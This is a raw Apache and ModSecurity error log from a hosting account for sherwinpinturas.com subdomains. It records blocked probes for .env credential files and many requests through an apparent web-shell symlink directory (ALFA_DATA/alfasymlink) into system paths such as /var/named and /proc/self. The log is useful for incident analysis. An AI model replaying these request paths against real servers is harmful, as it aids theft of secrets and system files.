[Sun Oct 25 18:01:09.303091 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at58JRFm2vH00tQABbbuygAAAAg"]
[Sun Oct 25 18:01:09.303467 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "at58JRFm2vH00tQABbbuygAAAAg"]
[Sun Oct 25 18:01:10.311027 2026] [security2:error] [pid 2904909:tid 2904909] [client 3.218.103.254:23387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0a/subsystem/devices/device:1a/"] [unique_id "at58JvZp8j_cPCCtviROygAAAAU"]
[Sun Oct 25 18:01:10.311077 2026] [security2:error] [pid 2904909:tid 2904909] [client 3.218.103.254:23387] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0a/subsystem/devices/device:1a/"] [unique_id "at58JvZp8j_cPCCtviROygAAAAU"]
[Sun Oct 25 18:01:19.055386 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 73.157.131.209:54697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/validate
[Sun Oct 25 18:01:19.568528 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 16.216.88.161:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/sherwinpinturas.com.db
[Sun Oct 25 18:01:19.569065 2026] [security2:error] [pid 2904909:tid 2904909] [client 16.216.88.161:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/named/sherwinpinturas.com.db"] [unique_id "at58L_Zp8j_cPCCtviROzAAAAAU"]
[Sun Oct 25 18:01:19.569088 2026] [security2:error] [pid 2904909:tid 2904909] [client 16.216.88.161:16384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/named/sherwinpinturas.com.db"] [unique_id "at58L_Zp8j_cPCCtviROzAAAAAU"]
[Sun Oct 25 18:01:20.111985 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 154.27.138.3:9891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objs_per_slab
[Sun Oct 25 18:01:21.492225 2026] [core:error] [pid 2909677:tid 2909677] (13)Permission denied: [client 176.88.36.44:6310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/validate
[Sun Oct 25 18:01:22.735916 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 38.131.63.226:40206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objs_per_slab
[Sun Oct 25 18:01:24.035577 2026] [core:error] [pid 2904909:tid 2904909] (13)Permission denied: [client 83.4.19.246:60361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/validate
[Sun Oct 25 18:01:24.789459 2026] [core:error] [pid 2909552:tid 2909552] (13)Permission denied: [client 146.255.75.16:44990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objs_per_slab
[Sun Oct 25 18:01:25.239129 2026] [core:error] [pid 2909560:tid 2909560] (13)Permission denied: [client 179.60.69.38:9921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/cpu_partial
[Sun Oct 25 18:01:26.241294 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 3.89.176.255:30569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:01:28.757923 2026] [core:error] [pid 2909561:tid 2909561] (13)Permission denied: [client 181.78.43.130:52448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/cpu_partial
[Sun Oct 25 18:01:31.690699 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 105.127.12.249:50354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/cpu_partial
[Sun Oct 25 18:01:38.484834 2026] [ssl:error] [pid 2904909:tid 2904909] (70014)End of file found: [client 52.5.232.250:18593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:01:42.267465 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 52.54.95.127:27481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:01:46.379514 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 54.91.122.193:56024] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:01:58.848719 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 72.27.53.31:37432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objects_partial
[Sun Oct 25 18:02:00.565182 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 176.28.156.17:8245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objects_partial
[Sun Oct 25 18:02:02.249436 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 3.89.176.255:44867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:02:02.387093 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 24.9.31.119:44639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objects_partial
[Sun Oct 25 18:02:14.242242 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 34.234.197.175:49142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:02:14.242450 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.234.197.175:49142] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/subsystem/input1/power/control"] [unique_id "at58Zi2Ruv4ouI3ozJsYygAAAAw"]
[Sun Oct 25 18:02:14.242494 2026] [security2:error] [pid 2901884:tid 2901884] [client 34.234.197.175:49142] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/subsystem/input1/power/control"] [unique_id "at58Zi2Ruv4ouI3ozJsYygAAAAw"]
[Sun Oct 25 18:02:30.581331 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 52.1.157.90:6287] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:02:30.818824 2026] [security2:error] [pid 2905723:tid 2905723] [client 107.172.76.131:65143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58arshG2fTBV-IZGyB-wAAAAI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:02:30.818906 2026] [security2:error] [pid 2905723:tid 2905723] [client 107.172.76.131:65143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58arshG2fTBV-IZGyB-wAAAAI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:02:36.986532 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58cB8fO9KwLgqLGMRCXAAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:02:36.986573 2026] [security2:error] [pid 2899920:tid 2899920] [client 107.172.76.131:65133] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58cB8fO9KwLgqLGMRCXAAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:02:40.002880 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 216.131.84.56:41309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/cpu_slabs
[Sun Oct 25 18:02:42.641656 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 109.107.251.215:61964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/cpu_slabs
[Sun Oct 25 18:02:43.945424 2026] [core:error] [pid 2909561:tid 2909561] (13)Permission denied: [client 176.33.96.121:9666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/hwcache_align
[Sun Oct 25 18:02:45.730911 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 172.58.2.100:8529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/hwcache_align
[Sun Oct 25 18:02:46.920936 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 54.85.126.86:24259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/uevent
[Sun Oct 25 18:02:47.788848 2026] [core:error] [pid 2909420:tid 2909420] (13)Permission denied: [client 94.187.20.237:2874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/hwcache_align
[Sun Oct 25 18:02:54.255715 2026] [ssl:error] [pid 2909420:tid 2909420] (70014)End of file found: [client 44.212.232.231:47750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:02:57.221778 2026] [security2:error] [pid 2909552:tid 2909552] [client 85.59.209.249:41818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pam-devel/html/"] [unique_id "at58keB_1dbJQPYLGME2BAAAAAQ"]
[Sun Oct 25 18:02:57.221813 2026] [security2:error] [pid 2909552:tid 2909552] [client 85.59.209.249:41818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/pam-devel/html/"] [unique_id "at58keB_1dbJQPYLGME2BAAAAAQ"]
[Sun Oct 25 18:02:58.232432 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 50.16.72.185:15072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:03:02.237897 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 100.28.133.214:3698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/task_group/slabs_cpu_partial
[Sun Oct 25 18:03:10.047272 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65137] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58kL_lIj1OAY0C3WwdQQAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:03:10.047324 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65137] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58kL_lIj1OAY0C3WwdQQAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:03:17.753227 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 85.208.96.210:62204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/slab_size
[Sun Oct 25 18:03:19.510884 2026] [core:error] [pid 2909560:tid 2909560] (13)Permission denied: [client 185.191.171.19:29028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/min_partial
[Sun Oct 25 18:03:30.294819 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 52.204.81.148:26754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:03:34.280849 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 3.224.104.67:45647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/module/ip_tables/sections/__ksymtab_gpl
[Sun Oct 25 18:03:41.275096 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 81.106.215.189:44907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objects_partial
[Sun Oct 25 18:03:42.878154 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 97.200.218.65:33825] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objects_partial
[Sun Oct 25 18:03:45.903505 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 51.37.172.53:56953] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/objects_partial
[Sun Oct 25 18:03:48.631560 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 197.119.210.80:46794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/min_partial
[Sun Oct 25 18:03:50.610080 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 169.150.182.157:45447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/min_partial
[Sun Oct 25 18:03:54.133203 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 85.208.96.212:47790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/remote_node_defrag_ratio
[Sun Oct 25 18:03:54.346093 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65137] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58vL_lIj1OAY0C3WwdRAAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:03:54.346165 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65137] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at58vL_lIj1OAY0C3WwdRAAAAAE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:03:58.279784 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 3.215.221.125:7671] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:02.297782 2026] [core:error] [pid 2909560:tid 2909560] (13)Permission denied: [client 3.224.205.25:15709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.2/driver/remove_id
[Sun Oct 25 18:04:04.527157 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 181.191.65.229:21856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/alloc_calls
[Sun Oct 25 18:04:06.289296 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 34.196.6.199:33770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:04:06.299259 2026] [core:error] [pid 2909561:tid 2909561] (13)Permission denied: [client 98.50.173.193:41817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/alloc_calls
[Sun Oct 25 18:04:08.741407 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "agent.sherwinpinturas.com"] [uri "/"] [unique_id "at582AYZaEKvpE7JCm_rGAAAAAA"]
[Sun Oct 25 18:04:08.741749 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/"] [unique_id "at582AYZaEKvpE7JCm_rGAAAAAA"]
[Sun Oct 25 18:04:08.742039 2026] [security2:error] [pid 2907640:tid 2907640] [client 34.45.52.133:44094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/"] [unique_id "at582AYZaEKvpE7JCm_rGAAAAAA"]
[Sun Oct 25 18:04:08.783393 2026] [authz_core:error] [pid 2909552:tid 2909552] [client 34.45.52.133:44104] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/agent/.htpasswd
[Sun Oct 25 18:04:08.861424 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at582I-TViadXnIcy1UXgwAAAA0"]
[Sun Oct 25 18:04:08.861606 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at582I-TViadXnIcy1UXgwAAAA0"]
[Sun Oct 25 18:04:08.861820 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at582I-TViadXnIcy1UXgwAAAA0"]
[Sun Oct 25 18:04:08.867389 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at582BFm2vH00tQABbbu2gAAAAg"]
[Sun Oct 25 18:04:08.867675 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at582BFm2vH00tQABbbu2gAAAAg"]
[Sun Oct 25 18:04:08.867881 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.45.52.133:44078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at582BFm2vH00tQABbbu2gAAAAg"]
[Sun Oct 25 18:04:08.885131 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at582C-78Dm3HCMHomsJigAAAAY"]
[Sun Oct 25 18:04:08.885280 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at582C-78Dm3HCMHomsJigAAAAY"]
[Sun Oct 25 18:04:08.885528 2026] [security2:error] [pid 2909560:tid 2909560] [client 34.45.52.133:44058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at582C-78Dm3HCMHomsJigAAAAY"]
[Sun Oct 25 18:04:08.910561 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at582I-TViadXnIcy1UXhAAAAA0"]
[Sun Oct 25 18:04:08.910699 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.45.52.133:44118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at582I-TViadXnIcy1UXhAAAAA0"]
